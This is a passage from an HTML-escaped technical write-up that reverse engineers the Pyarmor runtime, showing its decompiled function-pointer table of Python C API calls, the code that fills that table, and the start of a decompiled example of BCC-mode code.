  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyCell_Set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyErr_Clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyErr_Occurred&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyErr_SetObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyEval_GetGlobals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyImport_ImportModule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyImport_ImportModuleLevel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;globals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;locals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fromlist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyList_Append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyList_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_CallFunction_SizeT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;callable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_CallFunctionObjArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;callable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_CallMethod_SizeT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_DelItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_GetAttr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attr_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_GetItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_GetIter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_IsTrue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_SetAttr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attr_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_SetItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PySet_Add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PySet_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iterable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PySlice_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;step&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyTuple_GetItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_IncRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the first half we have a couple C language functions and pointers, followed by helper functions defined in the Pyarmor runtime.
The second half consists of pointers to functions and structs exposed by the standard Python C API.&lt;/p&gt;

&lt;p&gt;The struct is created in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; C implementation:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;ftable_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_stderr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bcc_state_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyNumber_operator&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_PyNumber_operator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_build_collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_call_python_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set_exception_if_none_was_raised&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_set_exception_if_none_was_raised&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comparison&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_comparison&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;qword48&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_648D2580&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;an-example-of-bcc-code&quot;&gt;An example of BCC code&lt;/h2&gt;

&lt;p&gt;Let’s study a small example of what Python code that was translated to C could look like.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;++*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;globals_operation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GLOBAL_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
